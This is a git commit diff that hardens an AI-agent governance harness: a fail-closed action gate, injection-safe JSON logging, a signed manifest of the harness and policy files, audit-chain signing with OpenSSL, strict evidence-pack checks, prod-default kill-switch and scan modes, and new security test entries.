feat: plan 16-01
This commit is contained in:
thanhnv
@@ -113,9 +113,22 @@ if re.search(r"\bsudo\b", low):
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print("ALLOW|ok")
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print("ALLOW|ok")
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PY
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PY
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)"
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)"
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PY_RC=$?
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OUTCOME="${RESULT%%|*}"
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# SEC-04 (H-05): fail CLOSED. Previously, if the classifier crashed / was killed /
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REASON="${RESULT#*|}"
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# produced no output, RESULT was empty, OUTCOME was "", and the final case fell
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# through to ALLOW (fail-open). Now a non-zero classifier RC, empty output, or an
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# unrecognized verdict all default to BLOCK — an action is allowed only on an
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# explicit, recognized ALLOW/WARN/REQUIRE_APPROVAL verdict.
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if [[ "$PY_RC" -ne 0 || -z "$RESULT" ]]; then
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OUTCOME="BLOCK"; REASON="classifier_error(rc=$PY_RC)"
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else
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OUTCOME="${RESULT%%|*}"; REASON="${RESULT#*|}"
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fi
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case "$OUTCOME" in
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ALLOW|WARN|REQUIRE_APPROVAL|BLOCK) : ;;
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*) OUTCOME="BLOCK"; REASON="unrecognized_verdict:${OUTCOME:-empty}" ;;
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esac
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TS="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
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TS="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
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# Approval clears REQUIRE_APPROVAL only with an explicit (audited) approver.
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# Approval clears REQUIRE_APPROVAL only with an explicit (audited) approver.
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@@ -150,7 +163,12 @@ case "$EFFECTIVE" in
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casan_log warn action-gate "ACTION_WARN reason=$REASON"
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casan_log warn action-gate "ACTION_WARN reason=$REASON"
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echo "ACTION_GATE outcome=WARN reason=$REASON"
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echo "ACTION_GATE outcome=WARN reason=$REASON"
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exit 0 ;;
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exit 0 ;;
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*)
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ALLOW)
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echo "ACTION_GATE outcome=ALLOW reason=$REASON"
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echo "ACTION_GATE outcome=ALLOW reason=$REASON"
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exit 0 ;;
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exit 0 ;;
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*)
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# SEC-04: fail-closed default — never ALLOW on an unexpected/empty verdict.
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casan_log error action-gate "ACTION_GATE_FAILCLOSED outcome=${EFFECTIVE:-empty} reason=$REASON"
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echo "ACTION_GATE outcome=BLOCK reason=failclosed:${EFFECTIVE:-empty} ($REASON)" >&2
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exit 2 ;;
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esac
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esac
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@@ -194,13 +194,55 @@ cat > "$TRACE_FILE" <<EOF
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}
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}
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EOF
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EOF
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printf '{"timestamp":"%s","trace_id":"%s","harness":"H6-agentops","agent":"%s","step":"%s","status":"%s","exit_code":%s,"latency_ms":%s,"retry_count":%s,"input_tokens":%s,"output_tokens":%s,"total_tokens":%s,"cost_estimate":%s,"cost_source":"%s","hallucination_signals":%s,"alerts":%s,"input_hash":"%s","output_hash":"%s"}\n' \
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# SEC-05 (M-05): serialize via json.dumps so a crafted AGENT_NAME/STEP_NAME cannot
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"$START_TS" "$TRACE_ID" "$AGENT_NAME" "$STEP_NAME" "$STATUS" "$EXIT_CODE" "$LATENCY_MS" "$RETRY_COUNT" "$INPUT_TOKENS" "$OUTPUT_TOKENS" "$TOTAL_TOKENS" "$COST_ESTIMATE" "$COST_SOURCE" "$HALLUCINATION_SIGNALS" "$ALERTS_JSON" "$INPUT_HASH" "$OUTPUT_HASH" >> "$METRICS_LOG"
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# inject a forged metrics record, and an empty/non-numeric metric can't emit invalid
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# JSON. String fields are quoted safely; numeric fields are coerced (fail-safe 0).
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CASAN_AM_HALLU="$HALLUCINATION_SIGNALS" CASAN_AM_ALERTS="$ALERTS_JSON" python - "$METRICS_LOG" \
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"$START_TS" "$TRACE_ID" "$AGENT_NAME" "$STEP_NAME" "$STATUS" "$EXIT_CODE" "$LATENCY_MS" \
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"$RETRY_COUNT" "$INPUT_TOKENS" "$OUTPUT_TOKENS" "$TOTAL_TOKENS" "$COST_ESTIMATE" "$COST_SOURCE" \
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"$INPUT_HASH" "$OUTPUT_HASH" <<'PY'
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import json, os, sys
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(log, ts, trace_id, agent, step, status, exit_code, latency, retry,
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in_tok, out_tok, tot_tok, cost, cost_source, in_hash, out_hash) = sys.argv[1:]
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def num(x):
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try: return int(x)
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except (ValueError, TypeError): pass
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try: return float(x)
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except (ValueError, TypeError): return 0
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def jval(s, default):
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try: return json.loads(s)
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except (ValueError, TypeError): return default
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rec = {"timestamp": ts, "trace_id": trace_id, "harness": "H6-agentops",
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"agent": agent, "step": step, "status": status,
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"exit_code": num(exit_code), "latency_ms": num(latency), "retry_count": num(retry),
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"input_tokens": num(in_tok), "output_tokens": num(out_tok), "total_tokens": num(tot_tok),
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"cost_estimate": jval(cost, 0), "cost_source": cost_source,
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"hallucination_signals": jval(os.environ.get("CASAN_AM_HALLU"), 0),
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"alerts": jval(os.environ.get("CASAN_AM_ALERTS"), []),
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"input_hash": in_hash, "output_hash": out_hash}
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# Compact separators to match the original printf layout (regex-parsed downstream).
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open(log, "a", encoding="utf-8").write(json.dumps(rec, separators=(",", ":")) + "\n")
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PY
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for alert in "${ALERTS[@]:-}"; do
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for alert in "${ALERTS[@]:-}"; do
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if [[ -n "$alert" ]]; then
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if [[ -n "$alert" ]]; then
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ALERT_JSON="$(printf '{"timestamp":"%s","trace_id":"%s","severity":"WARN","resource":{"service.name":"%s","service.version":"1.0.0"},"body":{"message":"Alert triggered: %s","alert.type":"%s","step.name":"%s"},"attributes":{"latency_ms":%s,"status":"%s"}}' \
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# SEC-05 (M-05): build the alert record with json.dumps (agent/alert/step raw before).
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"$START_TS" "$TRACE_ID" "$AGENT_NAME" "$alert" "$alert" "$STEP_NAME" "$LATENCY_MS" "$STATUS")"
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ALERT_JSON="$(python - "$START_TS" "$TRACE_ID" "$AGENT_NAME" "$alert" "$STEP_NAME" "$LATENCY_MS" "$STATUS" <<'PY'
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import json, sys
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ts, trace_id, agent, alert, step, latency, status = sys.argv[1:]
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def num(x):
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try: return int(x)
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except (ValueError, TypeError):
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try: return float(x)
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except (ValueError, TypeError): return 0
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print(json.dumps({
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"timestamp": ts, "trace_id": trace_id, "severity": "WARN",
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"resource": {"service.name": agent, "service.version": "1.0.0"},
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"body": {"message": f"Alert triggered: {alert}", "alert.type": alert, "step.name": step},
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"attributes": {"latency_ms": num(latency), "status": status},
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}, separators=(",", ":")))
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PY
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)"
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printf '%s\n' "$ALERT_JSON" >> "$ALERT_LOG"
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printf '%s\n' "$ALERT_JSON" >> "$ALERT_LOG"
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# Live dispatch (H6-D1): push to the real alert channel when configured.
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# Live dispatch (H6-D1): push to the real alert channel when configured.
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# Delivery failure is queued to the dead-letter file by alert-dispatch.sh.
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# Delivery failure is queued to the dead-letter file by alert-dispatch.sh.
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@@ -0,0 +1,199 @@
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#!/usr/bin/env python3
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"""CASAN Plan-16 SEC-16 (ARCH-01) — signed harness + policy bundle.
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Every gate is bypassable by editing the gate itself: change `security-check.sh`,
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`prompt-filter.yaml`, `thresholds.yaml`, `model-digest.pin` or `reviewers.registry`
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and the control is simply gone — no input needed. This binds the harness code +
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policy files to a manifest whose head is signed with an OFF-REPO key. Before a
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run, the harness verifies its self-hash against the signed manifest and REFUSES to
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run on any mismatch (enforced mode). An attacker who edits a gate cannot re-sign
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the manifest without the off-repo key.
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Usage:
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bundle-integrity.py generate # hash harness+policy, write + sign manifest
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bundle-integrity.py verify [--strict] # re-check; exit 1 on drift / bad signature
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Env: CASAN_BUNDLE_ROOT (default .specify), CASAN_BUNDLE_MANIFEST,
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CASAN_BUNDLE_KEY_DIR, CASAN_BUNDLE_PUB,
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CASAN_PROFILE=prod / CASAN_VERIFY_STRICT=1 (enforce signature + drift).
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"""
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import argparse
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import fnmatch
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import glob
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import hashlib
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import json
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import os
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import shutil
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import subprocess
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import sys
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# Harness code + policy/data files whose modification would silently disable a
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# control. Globs are relative to the bundle root (default .specify).
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INCLUDE_GLOBS = [
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"scripts/bash/*.sh",
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"scripts/bash/*.py",
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"**/prompt-filter.yaml",
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"**/thresholds.yaml",
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"**/compression-policy.yaml",
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"**/*.pin",
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"**/reviewers.registry",
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"**/pii-rules.yaml",
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"**/pii-rules.json",
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"**/redteam-vectors.yaml",
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"**/attack-catalog.yaml",
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]
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# Never bind volatile artifacts (they change every run) or the manifest itself.
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EXCLUDE_SUBSTR = ["/logs/", "/output/", "bundle-integrity", "test-integrity"]
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def bundle_root() -> str:
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return os.environ.get("CASAN_BUNDLE_ROOT") or os.path.join(
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os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "..")), ".specify")
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def manifest_path() -> str:
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return os.environ.get("CASAN_BUNDLE_MANIFEST") or os.path.join(
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bundle_root(), "level5", "central-governance", "harness-bundle-manifest.json")
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def _enforced() -> bool:
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return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1"
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def bundle_files():
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root = bundle_root()
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found = set()
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for pat in INCLUDE_GLOBS:
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for path in glob.glob(os.path.join(root, pat), recursive=True):
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if os.path.isfile(path) and not any(s in path.replace(os.sep, "/") for s in EXCLUDE_SUBSTR):
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found.add(path)
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return sorted(found)
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def hash_file(path) -> str:
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return hashlib.sha256(open(path, "rb").read()).hexdigest()
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def build_manifest():
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root = bundle_root()
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files = {os.path.relpath(f, root): hash_file(f) for f in bundle_files()}
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return {"files": files, "file_count": len(files)}
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def manifest_head(manifest) -> str:
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core = json.dumps(manifest["files"], sort_keys=True, separators=(",", ":"))
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return hashlib.sha256(core.encode()).hexdigest()
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def _priv():
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d = os.environ.get("CASAN_BUNDLE_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys")
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return os.path.join(d, "harness-bundle-private.pem")
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def _pub():
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return os.environ.get("CASAN_BUNDLE_PUB") or (manifest_path() + ".pub")
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def _sig():
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return manifest_path() + ".sig"
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def _head_file():
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return manifest_path() + ".head"
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def sign(manifest):
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open(_head_file(), "w", encoding="utf-8").write(manifest_head(manifest))
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ossl = shutil.which("openssl")
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if not ossl:
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return
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priv, pub = _priv(), _pub()
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os.makedirs(os.path.dirname(priv), exist_ok=True)
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if not os.path.isfile(priv):
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subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048", "-out", priv],
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capture_output=True)
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try:
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os.chmod(priv, 0o600)
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except OSError:
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pass
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os.makedirs(os.path.dirname(pub) or ".", exist_ok=True)
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subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True)
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subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", _sig(), _head_file()], capture_output=True)
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def check_signature(manifest):
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ossl = shutil.which("openssl")
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if not (ossl and os.path.isfile(_head_file()) and os.path.isfile(_sig()) and os.path.isfile(_pub())):
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return "unsigned"
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if open(_head_file(), encoding="utf-8").read().strip() != manifest_head(manifest):
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return "invalid"
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res = subprocess.run([ossl, "dgst", "-sha256", "-verify", _pub(), "-signature", _sig(), _head_file()],
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capture_output=True)
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return "signed" if res.returncode == 0 else "invalid"
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def do_generate():
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manifest = build_manifest()
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os.makedirs(os.path.dirname(manifest_path()), exist_ok=True)
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with open(manifest_path(), "w", encoding="utf-8") as fh:
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json.dump(manifest, fh, indent=2)
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fh.write("\n")
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sign(manifest)
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print(f"BUNDLE_INTEGRITY_GENERATED files={manifest['file_count']}")
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return 0
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def do_verify(strict):
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mp = manifest_path()
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if not os.path.isfile(mp):
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# No manifest provisioned. Enforced mode treats this as fail-closed; dev is lax.
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if strict or _enforced():
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print("BUNDLE_INTEGRITY_FAIL no_manifest_in_enforced_mode", file=sys.stderr)
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return 1
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print("BUNDLE_INTEGRITY_SKIP no manifest (dev)")
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return 0
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manifest = json.load(open(mp, encoding="utf-8"))
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root = bundle_root()
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stored = manifest.get("files", {})
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drift = []
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for rel, want in stored.items():
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path = os.path.join(root, rel)
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if not os.path.isfile(path):
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drift.append(f"{rel}:removed")
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elif hash_file(path) != want:
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drift.append(f"{rel}:modified")
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# A NEW harness script / policy file that is not in the manifest is also drift.
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current = {os.path.relpath(f, root) for f in bundle_files()}
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for rel in current - set(stored):
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drift.append(f"{rel}:unmanifested")
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sig_state = check_signature(manifest)
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if sig_state == "invalid":
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print("BUNDLE_INTEGRITY_FAIL manifest_signature_invalid", file=sys.stderr)
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return 1
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if sig_state == "unsigned" and (strict or _enforced()):
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print("BUNDLE_INTEGRITY_FAIL manifest_unsigned_in_enforced_mode", file=sys.stderr)
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return 1
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if drift:
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print("BUNDLE_INTEGRITY_FAIL drift " + " ".join(sorted(drift)[:20]), file=sys.stderr)
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return 1
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print(f"BUNDLE_INTEGRITY_OK files={len(stored)} anchor={sig_state}")
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return 0
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def main() -> int:
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ap = argparse.ArgumentParser()
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sub = ap.add_subparsers(dest="cmd", required=True)
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sub.add_parser("generate")
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v = sub.add_parser("verify")
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v.add_argument("--strict", action="store_true")
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args = ap.parse_args()
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if args.cmd == "generate":
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return do_generate()
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if args.cmd == "verify":
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return do_verify(args.strict)
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return 2
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if __name__ == "__main__":
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raise SystemExit(main())
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@@ -84,8 +84,9 @@ RAW_OUTPUT="$TMP_DIR/raw-output-$TRACE_SUFFIX.txt"
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casan_log debug harness "action=$ACTION_NAME input=$INPUT_FILE output=$FINAL_OUTPUT key=${IDEMPOTENCY_KEY:0:12}…"
|
casan_log debug harness "action=$ACTION_NAME input=$INPUT_FILE output=$FINAL_OUTPUT key=${IDEMPOTENCY_KEY:0:12}…"
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# C7: honor an engaged kill-switch before doing any work (incident containment).
|
# C7: honor an engaged kill-switch before doing any work (incident containment).
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# Opt-in (default off) so the baseline is unchanged; production sets it on.
|
# Opt-in (default off) so the baseline is unchanged. SEC-17 (ARCH-03): under
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if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" ]]; then
|
# CASAN_PROFILE=prod it defaults ON (secure-by-default); an explicit =0 still wins.
|
||||||
|
if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" || ( -z "${CASAN_KILLSWITCH_ENFORCE+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then
|
||||||
KS_SCOPE="${CASAN_KILLSWITCH_SCOPE:-project}"
|
KS_SCOPE="${CASAN_KILLSWITCH_SCOPE:-project}"
|
||||||
KS_ID="${CASAN_KILLSWITCH_ID:-${CASAN_PROJECT:-current}}"
|
KS_ID="${CASAN_KILLSWITCH_ID:-${CASAN_PROJECT:-current}}"
|
||||||
if ! bash "$SCRIPT_DIR/kill-switch.sh" check "$KS_SCOPE" "$KS_ID" >/dev/null 2>&1; then
|
if ! bash "$SCRIPT_DIR/kill-switch.sh" check "$KS_SCOPE" "$KS_ID" >/dev/null 2>&1; then
|
||||||
@@ -96,6 +97,23 @@ if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" ]]; then
|
|||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# SEC-16 (ARCH-01): in enforced mode, verify the harness+policy bundle against its
|
||||||
|
# signed manifest and REFUSE to run on any drift — editing a gate/policy is a bypass
|
||||||
|
# that leaves no input trace. Only active when a manifest is provisioned (so dev and
|
||||||
|
# prod-without-a-manifest are unaffected); a present-but-drifted bundle fails closed.
|
||||||
|
if [[ ( "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ) \
|
||||||
|
&& -f "$SCRIPT_DIR/bundle-integrity.py" ]]; then
|
||||||
|
BUNDLE_MANIFEST="${CASAN_BUNDLE_MANIFEST:-$PROJECT_ROOT/.specify/level5/central-governance/harness-bundle-manifest.json}"
|
||||||
|
if [[ -f "$BUNDLE_MANIFEST" ]]; then
|
||||||
|
if ! python "$SCRIPT_DIR/bundle-integrity.py" verify >/dev/null 2>&1; then
|
||||||
|
casan_log error harness "BUNDLE_INTEGRITY_DRIFT — refusing to run $ACTION_NAME (harness/policy modified vs signed manifest)"
|
||||||
|
: > "$FINAL_OUTPUT"
|
||||||
|
echo "BUNDLE_INTEGRITY_DRIFT action=$ACTION_NAME (harness or policy modified vs signed manifest)" >&2
|
||||||
|
exit 2
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
run_phase "H4-in" "$SCRIPT_DIR/security-check.sh" "$INPUT_FILE" "$SAFE_INPUT" input
|
run_phase "H4-in" "$SCRIPT_DIR/security-check.sh" "$INPUT_FILE" "$SAFE_INPUT" input
|
||||||
run_phase "H5" "$SCRIPT_DIR/governance-check.sh" "$SAFE_INPUT" "$APPROVED_INPUT" "$ACTION_NAME"
|
run_phase "H5" "$SCRIPT_DIR/governance-check.sh" "$SAFE_INPUT" "$APPROVED_INPUT" "$ACTION_NAME"
|
||||||
|
|
||||||
@@ -136,7 +154,8 @@ fi
|
|||||||
# broken; block enforces (fail-closed) for production/strict runs.
|
# broken; block enforces (fail-closed) for production/strict runs.
|
||||||
TOOL_OUTPUT_SCAN_MODE="${CASAN_TOOL_OUTPUT_SCAN:-}"
|
TOOL_OUTPUT_SCAN_MODE="${CASAN_TOOL_OUTPUT_SCAN:-}"
|
||||||
if [[ -z "$TOOL_OUTPUT_SCAN_MODE" ]]; then
|
if [[ -z "$TOOL_OUTPUT_SCAN_MODE" ]]; then
|
||||||
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" ]]; then TOOL_OUTPUT_SCAN_MODE="block"; else TOOL_OUTPUT_SCAN_MODE="warn"; fi
|
# SEC-17/M-02: prod profile defaults tool-output scanning to block (fail-closed).
|
||||||
|
if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || ( -z "${CASAN_SECURITY_STRICT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then TOOL_OUTPUT_SCAN_MODE="block"; else TOOL_OUTPUT_SCAN_MODE="warn"; fi
|
||||||
fi
|
fi
|
||||||
if [[ "$TOOL_OUTPUT_SCAN_MODE" != "off" ]]; then
|
if [[ "$TOOL_OUTPUT_SCAN_MODE" != "off" ]]; then
|
||||||
TOS_RC=0
|
TOS_RC=0
|
||||||
|
|||||||
@@ -86,6 +86,22 @@ run "phase-selfimprove" bash "$TESTS/phase-selfimprove-tests.sh"
|
|||||||
run "phase-governance-report" bash "$TESTS/phase-governance-report-tests.sh"
|
run "phase-governance-report" bash "$TESTS/phase-governance-report-tests.sh"
|
||||||
run "phase-preflight" bash "$TESTS/phase-preflight-tests.sh"
|
run "phase-preflight" bash "$TESTS/phase-preflight-tests.sh"
|
||||||
|
|
||||||
|
# Plan-16 security-audit remediation (P0) — each control has a fail-able test.
|
||||||
|
run "phase-sec01-unsigned-fail" bash "$TESTS/phase-sec01-tests.sh"
|
||||||
|
run "phase-sec02-no-local-key" bash "$TESTS/phase-sec02-tests.sh"
|
||||||
|
run "phase-sec03-rollback-rce" bash "$TESTS/phase-sec03-tests.sh"
|
||||||
|
run "phase-sec04-action-gate" bash "$TESTS/phase-sec04-tests.sh"
|
||||||
|
run "phase-sec05-json-safe" bash "$TESTS/phase-sec05-tests.sh"
|
||||||
|
run "phase-sec06-cp-signed" bash "$TESTS/phase-sec06-tests.sh"
|
||||||
|
run "phase-sec16-bundle" bash "$TESTS/phase-sec16-tests.sh"
|
||||||
|
run "phase-sec17-prod-profile" bash "$TESTS/phase-sec17-tests.sh"
|
||||||
|
run "phase-sec18-test-integrity" bash "$TESTS/phase-sec18-tests.sh"
|
||||||
|
|
||||||
|
# ARCH-02: coverage cannot silently drop; ARCH-01: harness/policy cannot silently
|
||||||
|
# drift. Both SKIP cleanly when no manifest is provisioned (non-strict dev/CI).
|
||||||
|
run "test-integrity" python3 "$SCRIPT_DIR/test-integrity.py" verify
|
||||||
|
run "bundle-integrity" python3 "$SCRIPT_DIR/bundle-integrity.py" verify
|
||||||
|
|
||||||
if [[ "${CASAN_CI_RUN_BACKEND:-1}" == "1" ]]; then
|
if [[ "${CASAN_CI_RUN_BACKEND:-1}" == "1" ]]; then
|
||||||
if command -v npm >/dev/null 2>&1; then
|
if command -v npm >/dev/null 2>&1; then
|
||||||
run "backend-tests" npm test -w backend
|
run "backend-tests" npm test -w backend
|
||||||
|
|||||||
@@ -15,6 +15,8 @@ import argparse
|
|||||||
import hashlib
|
import hashlib
|
||||||
import json
|
import json
|
||||||
import os
|
import os
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
from datetime import datetime, timezone
|
from datetime import datetime, timezone
|
||||||
|
|
||||||
@@ -79,6 +81,79 @@ def append_audit(store, base) -> None:
|
|||||||
store["audit"].append({**without_hash, "hash": hash_entry(without_hash)})
|
store["audit"].append({**without_hash, "hash": hash_entry(without_hash)})
|
||||||
|
|
||||||
|
|
||||||
|
# --- SEC-06 (H-06): sign the audit-chain HEAD -------------------------------
|
||||||
|
# The hash chain alone is recomputable: a file-writer who edits the store can
|
||||||
|
# recompute every hash and `verify-audit` (chain-only) would still PASS, so
|
||||||
|
# governance-report would falsely report CERTIFIED. Signing the head with an
|
||||||
|
# OFF-REPO private key (pubkey provisioned out-of-band; KMS in prod = SEC-02/16)
|
||||||
|
# means a recompute-attacker without the key cannot forge a matching signature.
|
||||||
|
|
||||||
|
def _enforced() -> bool:
|
||||||
|
return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1"
|
||||||
|
|
||||||
|
|
||||||
|
def _cp_priv() -> str:
|
||||||
|
key_dir = os.environ.get("CASAN_CP_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys")
|
||||||
|
return os.path.join(key_dir, "cp-private.pem")
|
||||||
|
|
||||||
|
|
||||||
|
def _cp_pub() -> str:
|
||||||
|
# Prod provisions this out-of-band (or via KMS). Default is adjacent to the
|
||||||
|
# store for self-contained dev; an attacker who can also rewrite the pubkey is
|
||||||
|
# covered by ARCH-01/SEC-16 (signed harness+policy bundle).
|
||||||
|
return os.environ.get("CASAN_CP_PUB") or (store_path() + ".pub")
|
||||||
|
|
||||||
|
|
||||||
|
def _head_paths():
|
||||||
|
sp = store_path()
|
||||||
|
return sp + ".head", sp + ".head.sig"
|
||||||
|
|
||||||
|
|
||||||
|
def chain_head(store) -> str:
|
||||||
|
return store["audit"][-1]["hash"] if store["audit"] else GENESIS_HASH
|
||||||
|
|
||||||
|
|
||||||
|
def sign_head(store) -> None:
|
||||||
|
head_file, sig_file = _head_paths()
|
||||||
|
head = chain_head(store)
|
||||||
|
with open(head_file, "w", encoding="utf-8") as fh:
|
||||||
|
fh.write(head)
|
||||||
|
ossl = shutil.which("openssl")
|
||||||
|
if not ossl:
|
||||||
|
return # keyless dev: no signature — enforced mode rejects at verify time
|
||||||
|
priv, pub = _cp_priv(), _cp_pub()
|
||||||
|
os.makedirs(os.path.dirname(priv), exist_ok=True)
|
||||||
|
if not os.path.isfile(priv):
|
||||||
|
subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048",
|
||||||
|
"-out", priv], capture_output=True)
|
||||||
|
try:
|
||||||
|
os.chmod(priv, 0o600)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
os.makedirs(os.path.dirname(pub) or ".", exist_ok=True)
|
||||||
|
# Always re-export the pubkey so it matches the signing key (key-sync invariant).
|
||||||
|
subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True)
|
||||||
|
subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", sig_file, head_file], capture_output=True)
|
||||||
|
|
||||||
|
|
||||||
|
def verify_signature(store):
|
||||||
|
"""Returns state in {'signed','unsigned','invalid'} + a detail string."""
|
||||||
|
head_file, sig_file = _head_paths()
|
||||||
|
pub = _cp_pub()
|
||||||
|
ossl = shutil.which("openssl")
|
||||||
|
if not (ossl and os.path.isfile(head_file) and os.path.isfile(sig_file) and os.path.isfile(pub)):
|
||||||
|
return "unsigned", "missing signature/pubkey/openssl"
|
||||||
|
try:
|
||||||
|
stored_head = open(head_file, encoding="utf-8").read().strip()
|
||||||
|
except OSError:
|
||||||
|
return "invalid", "head-file unreadable"
|
||||||
|
if stored_head != chain_head(store):
|
||||||
|
return "invalid", "head-file != recomputed head (chain recomputed?)"
|
||||||
|
res = subprocess.run([ossl, "dgst", "-sha256", "-verify", pub, "-signature", sig_file, head_file],
|
||||||
|
capture_output=True)
|
||||||
|
return ("signed", "ok") if res.returncode == 0 else ("invalid", "signature verify failed")
|
||||||
|
|
||||||
|
|
||||||
def do_set(key, value, actor, reason, approval):
|
def do_set(key, value, actor, reason, approval):
|
||||||
policy = SETTINGS_POLICY.get(key)
|
policy = SETTINGS_POLICY.get(key)
|
||||||
if policy is None:
|
if policy is None:
|
||||||
@@ -105,6 +180,7 @@ def do_set(key, value, actor, reason, approval):
|
|||||||
"actor": actor, "reason": reason, "at": nxt["updatedAt"],
|
"actor": actor, "reason": reason, "at": nxt["updatedAt"],
|
||||||
})
|
})
|
||||||
save_store(store)
|
save_store(store)
|
||||||
|
sign_head(store)
|
||||||
print(json.dumps(nxt, ensure_ascii=False))
|
print(json.dumps(nxt, ensure_ascii=False))
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
@@ -131,6 +207,7 @@ def do_rollback(key, actor, reason):
|
|||||||
"actor": actor, "reason": reason, "at": restored["updatedAt"],
|
"actor": actor, "reason": reason, "at": restored["updatedAt"],
|
||||||
})
|
})
|
||||||
save_store(store)
|
save_store(store)
|
||||||
|
sign_head(store)
|
||||||
print(json.dumps(restored, ensure_ascii=False))
|
print(json.dumps(restored, ensure_ascii=False))
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
@@ -141,9 +218,17 @@ def verify_audit():
|
|||||||
for entry in store["audit"]:
|
for entry in store["audit"]:
|
||||||
rest = {k: v for k, v in entry.items() if k != "hash"}
|
rest = {k: v for k, v in entry.items() if k != "hash"}
|
||||||
if rest.get("prevHash") != prev_hash or hash_entry(rest) != entry["hash"]:
|
if rest.get("prevHash") != prev_hash or hash_entry(rest) != entry["hash"]:
|
||||||
return {"ok": False, "brokenAt": entry["seq"]}
|
return {"ok": False, "brokenAt": entry["seq"], "anchor": "chain-broken"}
|
||||||
prev_hash = entry["hash"]
|
prev_hash = entry["hash"]
|
||||||
return {"ok": True, "brokenAt": None}
|
# SEC-06: the chain is recomputable, so require a valid HEAD signature. A
|
||||||
|
# present-but-mismatched signature is always a failure; a MISSING signature
|
||||||
|
# fails only in enforced mode (dev stays permissive for backward compat).
|
||||||
|
sig_state, detail = verify_signature(store)
|
||||||
|
if sig_state == "invalid":
|
||||||
|
return {"ok": False, "brokenAt": None, "anchor": "signature-invalid", "detail": detail}
|
||||||
|
if sig_state == "unsigned" and _enforced():
|
||||||
|
return {"ok": False, "brokenAt": None, "anchor": "unsigned-strict-fail", "detail": detail}
|
||||||
|
return {"ok": True, "brokenAt": None, "anchor": sig_state}
|
||||||
|
|
||||||
|
|
||||||
def parse_value(raw):
|
def parse_value(raw):
|
||||||
@@ -185,7 +270,7 @@ def main() -> int:
|
|||||||
print(json.dumps(load_store()["audit"], ensure_ascii=False)); return 0
|
print(json.dumps(load_store()["audit"], ensure_ascii=False)); return 0
|
||||||
if args.cmd == "verify-audit":
|
if args.cmd == "verify-audit":
|
||||||
verdict = verify_audit()
|
verdict = verify_audit()
|
||||||
print(f"CP_AUDIT ok={verdict['ok']} brokenAt={verdict['brokenAt']}")
|
print(f"CP_AUDIT ok={verdict['ok']} brokenAt={verdict['brokenAt']} anchor={verdict.get('anchor')}")
|
||||||
return 0 if verdict["ok"] else 1
|
return 0 if verdict["ok"] else 1
|
||||||
if args.cmd == "effective":
|
if args.cmd == "effective":
|
||||||
# Single read path for "effective setting": store value if set, else default.
|
# Single read path for "effective setting": store value if set, else default.
|
||||||
|
|||||||
@@ -103,6 +103,17 @@ case "$CMD" in
|
|||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
else
|
else
|
||||||
|
# SEC-01 (H-01): enforced mode treats a missing/unverifiable pack signature
|
||||||
|
# as FAIL, otherwise deleting evidence-pack.sig after editing packed files
|
||||||
|
# would still verify as a "valid unsigned" pack.
|
||||||
|
if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then
|
||||||
|
MISSING=""
|
||||||
|
[[ -f "$SIG_FILE" ]] || MISSING="$MISSING pack-sig"
|
||||||
|
[[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey"
|
||||||
|
command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl"
|
||||||
|
echo "EVIDENCE_PACK_UNSIGNED_STRICT_FAIL dir=$PACK_DIR missing=${MISSING# }" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
echo "EVIDENCE_PACK_VALID anchor=unsigned dir=$PACK_DIR"
|
echo "EVIDENCE_PACK_VALID anchor=unsigned dir=$PACK_DIR"
|
||||||
fi
|
fi
|
||||||
;;
|
;;
|
||||||
|
|||||||
@@ -150,27 +150,37 @@ RECORD_CORE="$(printf '%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s' "$TIMESTAMP" "$TRACE_ID
|
|||||||
RECORD_HASH="$(printf '%s' "$RECORD_CORE" | hash_text)"
|
RECORD_HASH="$(printf '%s' "$RECORD_CORE" | hash_text)"
|
||||||
|
|
||||||
TRACE_FILE="$TRACE_DIR/governance-$TRACE_ID.json"
|
TRACE_FILE="$TRACE_DIR/governance-$TRACE_ID.json"
|
||||||
cat > "$TRACE_FILE" <<EOF
|
# SEC-05 (H-04): serialize both the standalone trace file and the appended audit
|
||||||
{
|
# chain line via json.dumps. Previously ACTOR/APPROVER/ACTION_NAME were interpolated
|
||||||
"trace_id": "$TRACE_ID",
|
# raw, so a value containing `"` + newline could inject a SECOND forged audit record
|
||||||
"timestamp": "$TIMESTAMP",
|
# (a fabricated "approved" decision). The record_hash is still computed from
|
||||||
"harness": "H5-governance",
|
# RECORD_CORE above, so verify-audit-chain.sh recomputes and matches unchanged.
|
||||||
"action": "$ACTION_NAME",
|
